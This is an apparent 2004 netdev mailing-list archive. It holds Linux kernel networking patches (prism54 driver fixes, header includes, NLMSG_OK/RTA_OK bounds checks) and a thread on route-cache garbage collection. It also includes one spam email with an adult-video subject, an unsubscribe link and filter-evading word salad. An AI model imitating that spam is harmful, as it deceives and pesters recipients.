aXNsX2lvY3RsLmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xfaW9jdGwuYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0 L2lzbF9pb2N0bC5jCTIwMDQtMDUtMjggMTU6NDQ6NDAuODQ5NTgwMDE2ICswMjAwCisrKyBsaW51 eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9pb2N0bC5jCTIwMDQt MDUtMjggMTU6NDk6NDAuNTE2MDIzNzkyICswMjAwCkBAIC02MzIsOCArNjI5LDggQEAKIAljdXJy ZW50X2V2ID0gaXdlX3N0cmVhbV9hZGRfcG9pbnQoY3VycmVudF9ldiwgZW5kX2J1ZiwgJml3ZSwg TlVMTCk7CiAKIAkvKiBBZGQgZnJlcXVlbmN5LiAoc2hvcnQpIGJzcy0+Y2hhbm5lbCBpcyB0aGUg ZnJlcXVlbmN5IGluIE1IeiAqLwotCWl3ZS51LmZyZXEubSA9IGJzcy0+Y2hhbm5lbDsKLQlpd2Uu dS5mcmVxLmUgPSA2OworCWl3ZS51LmZyZXEubSA9IGNoYW5uZWxfb2ZfZnJlcShic3MtPmNoYW5u ZWwpOworCWl3ZS51LmZyZXEuZSA9IDA7CiAJaXdlLmNtZCA9IFNJT0NHSVdGUkVROwogCWN1cnJl bnRfZXYgPQogCSAgICBpd2Vfc3RyZWFtX2FkZF9ldmVudChjdXJyZW50X2V2LCBlbmRfYnVmLCAm aXdlLCBJV19FVl9GUkVRX0xFTik7CmRpZmYgLU5hdXJFYkIgbGludXgtMi42LjZjdC9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYwotLS0gbGludXgtMi42LjZjdC9kcml2 ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYwkyMDA0LTA1LTI4IDE1OjQ4OjM0 LjE1NzExMTg4MCArMDIwMAorKysgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3Mv cHJpc201NC9pc2xwY2lfZXRoLmMJMjAwNC0wNS0yOCAxNTo0OTo0MC41MTcwMjM2NDAgKzAyMDAK QEAgLTI3NSw3ICsyNzUsNyBAQAogCQkJCQkJCQkJIGF2c184MDIxMV8xX2hlYWRlciksCiAJCQkJ CQkJCSAwLCBHRlBfQVRPTUlDKTsKIAkJCWlmIChuZXdza2IpIHsKLQkJCQlrZnJlZV9za2IoKnNr Yik7CisJCQkJZGV2X2tmcmVlX3NrYl9pcnEoKnNrYik7CiAJCQkJKnNrYiA9IG5ld3NrYjsKIAkJ CX0gZWxzZQogCQkJCXJldHVybiAtMTsKQEAgLTQxOSw3ICs0MTksNyBAQAogCSAgICAgc2tiLT5k YXRhWzRdLCBza2ItPmRhdGFbNV0pOwogI2VuZGlmCiAJaWYgKHVubGlrZWx5KGRpc2NhcmQpKSB7 Ci0JCWRldl9rZnJlZV9za2Ioc2tiKTsKKwkJZGV2X2tmcmVlX3NrYl9pcnEoc2tiKTsKIAkJc2ti ID0gTlVMTDsKIAl9IGVsc2UKIAkJbmV0aWZfcngoc2tiKTsKQEAgLTQ2Miw3ICs0NjIsNyBAQAog CQkJICAgICAgIkVycm9yIG1hcHBpbmcgRE1BIGFkZHJlc3NcbiIpOwogCiAJCQkvKiBmcmVlIHRo ZSBza2J1ZiBzdHJ1Y3R1cmUgYmVmb3JlIGFib3J0aW5nICovCi0JCQlkZXZfa2ZyZWVfc2tiKChz dHJ1Y3Qgc2tfYnVmZiAqKSBza2IpOworCQkJZGV2X2tmcmVlX3NrYl9pcnEoKHN0cnVjdCBza19i dWZmICopIHNrYik7CiAJCQlza2IgPSBOVUxMOwogCQkJYnJlYWs7CiAJCX0KZGlmZiAtTmF1ckVi QiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2hvdHBs dWcuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9o b3RwbHVnLmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xwY2lfaG90cGx1Zy5jCTIwMDQtMDUtMjggMTQ6NDA6MjYuOTk3NDU0NTkyICswMjAwCisrKyBs aW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ob3RwbHVn LmMJMjAwNC0wNS0yOCAxNTo0OTo0MC41MTkwMjMzMzYgKzAyMDAKQEAgLTMwLDcgKzMwLDcgQEAK ICNpbmNsdWRlICJpc2xfb2lkLmgiCiAKICNkZWZpbmUgRFJWX05BTUUJInByaXNtNTQiCi0jZGVm aW5lIERSVl9WRVJTSU9OCSIxLjEiCisjZGVmaW5lIERSVl9WRVJTSU9OCSIxLjIiCiAKIE1PRFVM RV9BVVRIT1IoIltJbnRlcnNpbF0gUi5CYXN0aW5ncyBhbmQgVy5UZXJtb3JzaHVpemVuLCBUaGUg cHJpc201NC5vcmcgRGV2ZWxvcG1lbnQgVGVhbSA8cHJpc201NC1kZXZlbEBwcmlzbTU0Lm9yZz4i KTsKIE1PRFVMRV9ERVNDUklQVElPTigiVGhlIFByaXNtNTQgODAyLjExIFdpcmVsZXNzIExBTiBh ZGFwdGVyIik7Cg== --=====================_50557688==_-- From PILEGAOMWP@boxfrog.com Mon May 31 04:57:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 04:57:37 -0700 (PDT) Received: from cpe-69-75-46-16.hawaii.rr.com (cpe-69-75-46-16.hawaii.rr.com [69.75.46.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VBvWgi010950; Mon, 31 May 2004 04:57:32 -0700 Received: from 42.92.227.40 by 69.75.46.16; Mon, 31 May 2004 08:49:27 -0500 Message-ID: From: "Eli Galindo" Reply-To: "Eli Galindo" To: netdev-bounce@oss.sgi.com Subject: quickie hotties on video Date: Mon, 31 May 2004 16:55:27 +0300 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--805073965745292" X-IP: 184.210.13.84 X-Priority: 3 X-archive-position: 5498 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: PILEGAOMWP@boxfrog.com Precedence: bulk X-list: netdev ----805073965745292 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable


    Click Here To Prevent Further Mailing=






    enos cougar formic tulle bootlegger bandstand nucleus sedimentary armature= convenient phraseology rosalie apropos cautionary mona newspaperman spruc= e judd propyl while demote fermion foundling weather forfeiture solder fer= mium obtrude instill chairmen data leitmotiv marin friar deferred transiti= ve cabbage bridgeport baku danny anatole wetland neither radon crematory q= uarantine deprivation catatonia pathfind bandwagon choreography hans bellh= op hodge hardware he syracuse trichloroethane reid detriment cabinet soon = balzac defiant auburn decode ix bellamy lim mollusk herr summand compile a= cidic=20 ----805073965745292-- From root@obelix.itcnetworks.sgi.com Mon May 31 05:06:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 05:06:12 -0700 (PDT) Received: from gate2.itcnetworks.ro (gate2.itcnetworks.ro [80.96.82.251]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VC62gi011531 for ; Mon, 31 May 2004 05:06:03 -0700 Received: from obelix.itcnetworks (obelix.itcnetworks [10.2.4.65]) by gate2.itcnetworks.ro (Postfix) with ESMTP id 7D7699735B; Mon, 31 May 2004 15:05:51 +0300 (EEST) Received: from obelix.itcnetworks (localhost [127.0.0.1]) by obelix.itcnetworks (8.12.6/8.12.6/Debian-6Woody) with ESMTP id i4VC1UrN007008; Mon, 31 May 2004 15:01:30 +0300 Received: (from root@localhost) by obelix.itcnetworks (8.12.6/8.12.6/Debian-6Woody) id i4VC1Tpj006993; Mon, 31 May 2004 15:01:29 +0300 Received: from gate2.itcnetworks.ro (gate2.itcnetworks [10.2.7.8]) by obelix.itcnetworks (8.12.6/8.12.6/Debian-6Woody) with ESMTP id i4SM2pRR008818 for ; Sat, 29 May 2004 01:02:51 +0300 X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: obelix.itcnetworks Received: from ns.itcnetworks.ro. (ns.itcnetworks.ro [80.96.82.1]) by gate2.itcnetworks.ro (Postfix) with ESMTP id 1C45397309 for ; Sat, 29 May 2004 01:02:46 +0300 (EEST) Received: from vger.kernel.org ([12.107.209.244]) by ns.itcnetworks.ro. with esmtp (Exim 3.35 #1 (Debian)) id 1BTmuK-0000ci-00 for ; Fri, 28 May 2004 22:20:45 +0300 Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S263995AbUE1Vuk (ORCPT ); Fri, 28 May 2004 17:50:40 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S264012AbUE1Vrw (ORCPT ); Fri, 28 May 2004 17:47:52 -0400 Received: from parcelfarce.linux.theplanet.co.uk ([195.92.249.252]:36001 "EHLO www.linux.org.uk") by vger.kernel.org with ESMTP id S263995AbUE1Vpl (ORCPT ); Fri, 28 May 2004 17:45:41 -0400 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTpAW-0001ae-SV; Fri, 28 May 2004 22:45:37 +0100 Message-ID: <40B7B2F4.7080704@pobox.com> Date: Fri, 28 May 2004 17:45:24 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nivedita Singhvi Cc: Arjan van de Ven , "Martin J. Bligh" , "Nakajima, Jun" , Andrew Morton , Anton Blanchard , linux-kernel@vger.kernel.org, Netdev Subject: Re: CONFIG_IRQBALANCE for AMD64? References: <7F740D512C7C1046AB53446D372001730182BAE2@scsmsx402.amr.corp.intel.com> <40B7797F.2090204@pobox.com> <17750000.1085766378@flay> <20040528175724.GC9898@devserv.devel.redhat.com> <40B7984E.7040208@us.ibm.com> <40B799EB.8060000@pobox.com> <40B79DB0.6090209@us.ibm.com> In-Reply-To: <40B79DB0.6090209@us.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 5499 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev -- From Robert.Olsson@data.slu.se Mon May 31 05:21:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 05:21:19 -0700 (PDT) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VCL6gi012345 for ; Mon, 31 May 2004 05:21:07 -0700 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i4VCL207032028; Mon, 31 May 2004 14:21:02 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id B53E3905BF; Mon, 31 May 2004 14:21:02 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16571.9006.703294.10134@robur.slu.se> Date: Mon, 31 May 2004 14:21:02 +0200 To: Daniel Stone Cc: netdev@oss.sgi.com, Robert.Olsson@data.slu.se Subject: net/ipv4/route.c GC patch: is this insane? In-Reply-To: <20040530151434.GE24955@fooishbar.org> References: <20040530151434.GE24955@fooishbar.org> X-Mailer: VM 7.18 under Emacs 21.3.1 X-archive-position: 5500 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Daniel Stone writes: > Hi guys, > Attached is a patch to net/ipv4/route.c (against 2.4.23, sorry) to > combat the 'dst cache full' issue. Essentially, there's a machine that I > have access to (a router) that will report 'dst cache full', and > immediately cease dealing with any IPv4 traffic. I found the attached > patch against 2.0, and forward-ported it to 2.4. As this issue only > crops up randomly every couple of weeks, I can't tell you whether it's > worked or not. All I know is that it hasn't eaten my firstborn so far: > given a quick spin, it seemed to work OK, but whether or not it solves > the problem is a different matter. Hello! If your traffic is sane and you got dst cache overflow you should probably try to reduce gc_min_interval so your GC can release a higher numbers of dst entries per second. Flushing active entries means that they are created again. This decreases your throughput maybe just enough not to reach the limit where you reach overflow. > + atomic_set(&ipv4_dst_ops.entries, 0); These counters should only be handled by the freeing process rt_free etc. Cheers. --ro From daniel@fooishbar.org Mon May 31 05:26:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 05:26:18 -0700 (PDT) Received: from tycho.fooishbar.org (postfix@x1.cs.pdx.edu [131.252.208.81]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VCQ7gi012771 for ; Mon, 31 May 2004 05:26:07 -0700 Received: by tycho.fooishbar.org (Postfix, from userid 1000) id 1EF4A8053DF; Mon, 31 May 2004 05:26:08 -0700 (PDT) Date: Mon, 31 May 2004 22:26:08 +1000 From: Daniel Stone To: Robert Olsson Cc: netdev@oss.sgi.com Subject: Re: net/ipv4/route.c GC patch: is this insane?b4Db3tL Message-ID: <20040531122608.GR24955@fooishbar.org> References: <20040530151434.GE24955@fooishbar.org> <16571.9006.703294.10134@robur.slu.se> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="i0LFOk513GRb+T2w" Content-Disposition: inline In-Reply-To: <16571.9006.703294.10134@robur.slu.se> X-GnuPG-Key: 3CED7EFD User-Agent: Mutt/1.5.6i X-archive-position: 5501 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniel@fooishbar.org Precedence: bulk X-list: netdev --i0LFOk513GRb+T2w Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 31, 2004 at 02:21:02PM +0200, Robert Olsson wrote: > Daniel Stone writes: > > Hi guys, > > Attached is a patch to net/ipv4/route.c (against 2.4.23, sorry) to > > combat the 'dst cache full' issue. Essentially, there's a machine that= I > > have access to (a router) that will report 'dst cache full', and > > immediately cease dealing with any IPv4 traffic. I found the attached > > patch against 2.0, and forward-ported it to 2.4. As this issue only > > crops up randomly every couple of weeks, I can't tell you whether it's > > worked or not. All I know is that it hasn't eaten my firstborn so far: > > given a quick spin, it seemed to work OK, but whether or not it solves > > the problem is a different matter. >=20 > Hello! >=20 > If your traffic is sane and you got dst cache overflow you should=20 > probably try to reduce gc_min_interval so your GC can release a=20 > higher numbers of dst entries per second. Flushing active entries > means that they are created again. This decreases your throughput > maybe just enough not to reach the limit where you reach overflow. gc_min_interval was zero - should this increase, or what?. > > + atomic_set(&ipv4_dst_ops.entries, 0); >=20 > These counters should only be handled by the freeing process rt_free etc. OK. Thanks for the pointers! :) d --=20 Daniel Stone "The programs are documented fully by _The Rise and Fall of a Fooish Bar_, available by the Info system." -- debian/manpage.sgml.ex, dh_make template --i0LFOk513GRb+T2w Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAuyRgcPClnTztfv0RAuqqAJ4hDo6Sm+ugRvkNJU3LdLFzv2rMVwCgkfzy 0sU/sGsPLQANjdJ1TFFN+h8= =tN4T -----END PGP SIGNATURE----- --i0LFOk513GRb+T2w-- From Robert.Olsson@data.slu.se Mon May 31 05:43:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 05:43:45 -0700 (PDT) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VChZgi013409 for ; Mon, 31 May 2004 05:43:36 -0700 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i4VChX07005721; Mon, 31 May 2004 14:43:33 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id 67E39905BE; Mon, 31 May 2004 14:43:33 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16571.10357.391130.128260@robur.slu.se> Date: Mon, 31 May 2004 14:43:33 +0200 To: Daniel Stone Cc: Robert Olsson , netdev@oss.sgi.com Subject: Re: net/ipv4/route.c GC patch: is this insane?b4Db3tL In-Reply-To: <20040531122608.GR24955@fooishbar.org> References: <20040530151434.GE24955@fooishbar.org> <16571.9006.703294.10134@robur.slu.se> <20040531122608.GR24955@fooishbar.org> X-Mailer: VM 7.18 under Emacs 21.3.1 X-archive-position: 5502 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Daniel Stone writes: > gc_min_interval was zero - should this increase, or what?. If I remember correctly this was an artifact when used by /proc. Try to set this value via source and avoid /proc for this. In 2.6 it's something like: int ip_rt_gc_min_interval = HZ / 2; Cheers. --ro From daniel@fooishbar.org Mon May 31 07:08:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 07:08:12 -0700 (PDT) Received: from tycho.fooishbar.org (postfix@x1.cs.pdx.edu [131.252.208.81]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VE7xgi015601 for ; Mon, 31 May 2004 07:08:02 -0700 Received: by tycho.fooishbar.org (Postfix, from userid 1000) id 2E0DF8053DF; Mon, 31 May 2004 07:08:01 -0700 (PDT) Date: Tue, 1 Jun 2004 00:08:01 +1000 From: Daniel Stone To: Robert Olsson Cc: netdev@oss.sgi.com Subject: Re: net/ipv4/route.c GC patch: is this insane? Message-ID: <20040531140801.GS24955@fooishbar.org> References: <20040530151434.GE24955@fooishbar.org> <16571.9006.703294.10134@robur.slu.se> <20040531122608.GR24955@fooishbar.org> <16571.10357.391130.128260@robur.slu.se> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="9+VnUxDxRuy97YQ+" Content-Disposition: inline In-Reply-To: <16571.10357.391130.128260@robur.slu.se> X-GnuPG-Key: 3CED7EFD User-Agent: Mutt/1.5.6i X-archive-position: 5503 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniel@fooishbar.org Precedence: bulk X-list: netdev --9+VnUxDxRuy97YQ+ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 31, 2004 at 02:43:33PM +0200, Robert Olsson wrote: > Daniel Stone writes: > > gc_min_interval was zero - should this increase, or what?. >=20 > If I remember correctly this was an artifact when used by /proc. Try to= =20 > set this value via source and avoid /proc for this. In 2.6 it's somethin= g=20 > like: >=20 > int ip_rt_gc_min_interval =3D HZ / 2; This appears to already be the case, in 2.4.23's net/ipv4/route.c, at any rate. --=20 Daniel Stone "The programs are documented fully by _The Rise and Fall of a Fooish Bar_, available by the Info system." -- debian/manpage.sgml.ex, dh_make template --9+VnUxDxRuy97YQ+ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAuzxBcPClnTztfv0RAl33AJ0c/opKTGdy+brp3ZVKkqLT9Wd6yACghk21 4JKh15h3UYvk6hDPewPl3Bk= =VjnG -----END PGP SIGNATURE----- --9+VnUxDxRuy97YQ+-- From Robert.Olsson@data.slu.se Mon May 31 08:06:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 08:06:05 -0700 (PDT) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VF62gi017209 for ; Mon, 31 May 2004 08:06:03 -0700 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i4VF6007007578; Mon, 31 May 2004 17:06:00 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id 83118905BE; Mon, 31 May 2004 17:06:00 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16571.18904.498197.739753@robur.slu.se> Date: Mon, 31 May 2004 17:06:00 +0200 To: Daniel Stone Cc: Robert Olsson , netdev@oss.sgi.com Subject: Re: net/ipv4/route.c GC patch: is this insane? In-Reply-To: <20040531140801.GS24955@fooishbar.org> References: <20040530151434.GE24955@fooishbar.org> <16571.9006.703294.10134@robur.slu.se> <20040531122608.GR24955@fooishbar.org> <16571.10357.391130.128260@robur.slu.se> <20040531140801.GS24955@fooishbar.org> X-Mailer: VM 7.18 under Emacs 21.3.1 X-archive-position: 5504 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Daniel Stone writes: > > int ip_rt_gc_min_interval = HZ / 2; > > This appears to already be the case, in 2.4.23's net/ipv4/route.c, at > any rate. OK! Well take a look at route stats /proc/net/rt_cache_stat (you can use rtstat app with a vmstat-like output) to ensure things are normal. If so you can try to decrease ip_rt_gc_min_interval further. Cheers. --ro From hch@lst.de Mon May 31 08:37:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 08:37:45 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VFbfgi021302 for ; Mon, 31 May 2004 08:37:42 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4VFbcQc019337 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 31 May 2004 17:37:38 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i4VFbc5r019335 for netdev@oss.sgi.com; Mon, 31 May 2004 17:37:38 +0200 Date: Mon, 31 May 2004 17:37:38 +0200 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] missing includes in networking headers Message-ID: <20040531153738.GA19250@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-archive-position: 5505 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev I'm looking through the debian kernel package, and it's adding a bunch of additional includes and forward declarations to the networking headers. After review all of these makes sense although I don't know what the pratical implications. In particular: - struct sk_buff forward declaration in netlink.h - struct net_device forward declaration in skbuff.h - for rwlock_t in ip6_fib.h - for inet6_sk in ip6_route.h - struct neighbour and struct net_device forward declarations in neighbour.h --- 1.15/include/linux/netlink.h 2004-04-16 18:24:35 +02:00 +++ edited/include/linux/netlink.h 2004-05-31 15:56:15 +02:00 @@ -4,6 +4,9 @@ #include /* for sa_family_t */ #include +struct sk_buff; + + #define NETLINK_ROUTE 0 /* Routing/device hook */ #define NETLINK_SKIP 1 /* Reserved for ENskip */ #define NETLINK_USERSOCK 2 /* Reserved for user mode socket protocols */ --- 1.43/include/linux/skbuff.h 2004-05-30 21:09:46 +02:00 +++ edited/include/linux/skbuff.h 2004-05-31 15:55:28 +02:00 @@ -28,6 +28,9 @@ #include #include +struct net_device; + + #define HAVE_ALLOC_SKB /* For the drivers to know */ #define HAVE_ALIGNABLE_SKB /* Ditto 8) */ #define SLAB_SKB /* Slabified skbuffs */ --- 1.7/include/net/ip6_fib.h 2003-06-04 07:05:08 +02:00 +++ edited/include/net/ip6_fib.h 2004-05-31 15:56:57 +02:00 @@ -20,6 +20,7 @@ #include #include #include +#include struct rt6_info; ===== include/net/ip6_route.h 1.13 vs edited ===== --- 1.13/include/net/ip6_route.h 2004-05-30 20:58:39 +02:00 +++ edited/include/net/ip6_route.h 2004-05-31 15:58:35 +02:00 @@ -11,6 +11,7 @@ #include #include +#include #include #include --- 1.7/include/net/neighbour.h 2004-04-16 22:48:54 +02:00 +++ edited/include/net/neighbour.h 2004-05-31 15:59:24 +02:00 @@ -49,6 +49,9 @@ #include #include +struct neighbour; +struct net_device; + #define NUD_IN_TIMER (NUD_INCOMPLETE|NUD_DELAY|NUD_PROBE) #define NUD_VALID (NUD_PERMANENT|NUD_NOARP|NUD_REACHABLE|NUD_PROBE|NUD_STALE|NUD_DELAY) #define NUD_CONNECTED (NUD_PERMANENT|NUD_NOARP|NUD_REACHABLE) From hch@lst.de Mon May 31 09:04:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 09:04:36 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VG4Vgi022134 for ; Mon, 31 May 2004 09:04:32 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4VG4RQc019614 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 31 May 2004 18:04:28 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i4VG4RxK019612 for netdev@oss.sgi.com; Mon, 31 May 2004 18:04:27 +0200 Date: Mon, 31 May 2004 18:04:27 +0200 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: old NLMSG_OK fix Message-ID: <20040531160427.GA19581@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-archive-position: 5506 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev I just stumbled over NLMSG_OK and RTA_OK changes in the debian kernel package. It seems they are from http://oss.sgi.com/projects/netdev/archive/2000-09/msg00001.html Any comments? diff -urN kernel-source-2.6.6/include/linux/netlink.h kernel-source-2.6.6-1/include/linux/netlink.h --- kernel-source-2.6.6/include/linux/netlink.h 2004-05-10 19:48:07.000000000 +1000 +++ kernel-source-2.6.6-1/include/linux/netlink.h 2004-05-10 22:21:52.000000000 +1000 @@ -73,7 +73,8 @@ #define NLMSG_DATA(nlh) ((void*)(((char*)nlh) + NLMSG_LENGTH(0))) #define NLMSG_NEXT(nlh,len) ((len) -= NLMSG_ALIGN((nlh)->nlmsg_len), \ (struct nlmsghdr*)(((char*)(nlh)) + NLMSG_ALIGN((nlh)->nlmsg_len))) -#define NLMSG_OK(nlh,len) ((len) > 0 && (nlh)->nlmsg_len >= sizeof(struct nlmsghdr) && \ +#define NLMSG_OK(nlh,len) ((len) >= (int)sizeof(struct nlmsghdr) && \ + (nlh)->nlmsg_len >= sizeof(struct nlmsghdr) && \ (nlh)->nlmsg_len <= (len)) #define NLMSG_PAYLOAD(nlh,len) ((nlh)->nlmsg_len - NLMSG_SPACE((len))) @@ -93,6 +94,7 @@ #ifdef __KERNEL__ #include +#include struct netlink_skb_parms { diff -urN kernel-source-2.6.6/include/linux/rtnetlink.h kernel-source-2.6.6-1/include/linux/rtnetlink.h --- kernel-source-2.6.6/include/linux/rtnetlink.h 2004-05-10 19:48:08.000000000 +1000 +++ kernel-source-2.6.6-1/include/linux/rtnetlink.h 2004-05-10 22:21:52.000000000 +1000 @@ -69,7 +69,8 @@ #define RTA_ALIGNTO 4 #define RTA_ALIGN(len) ( ((len)+RTA_ALIGNTO-1) & ~(RTA_ALIGNTO-1) ) -#define RTA_OK(rta,len) ((len) > 0 && (rta)->rta_len >= sizeof(struct rtattr) && \ +#define RTA_OK(rta,len) ((len) >= (int)sizeof(struct rtattr) && \ + (rta)->rta_len >= sizeof(struct rtattr) && \ (rta)->rta_len <= (len)) #define RTA_NEXT(rta,attrlen) ((attrlen) -= RTA_ALIGN((rta)->rta_len), \ (struct rtattr*)(((char*)(rta)) + RTA_ALIGN((rta)->rta_len))) From jm@jm.kir.nu Mon May 31 11:14:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 11:14:12 -0700 (PDT) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VIE7gi026242 for ; Mon, 31 May 2004 11:14:07 -0700 Received: from jm by jm.kir.nu with local (Exim 4.34) id 1BUrHF-0002LB-Gx; Mon, 31 May 2004 11:12:49 -0700 Date: Mon, 31 May 2004 11:12:49 -0700 From: Jouni Malinen To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] Host AP for wireless-2.6 Message-ID: <20040531181249.GB7537@jm.kir.nu> Mime-Version: 1.0 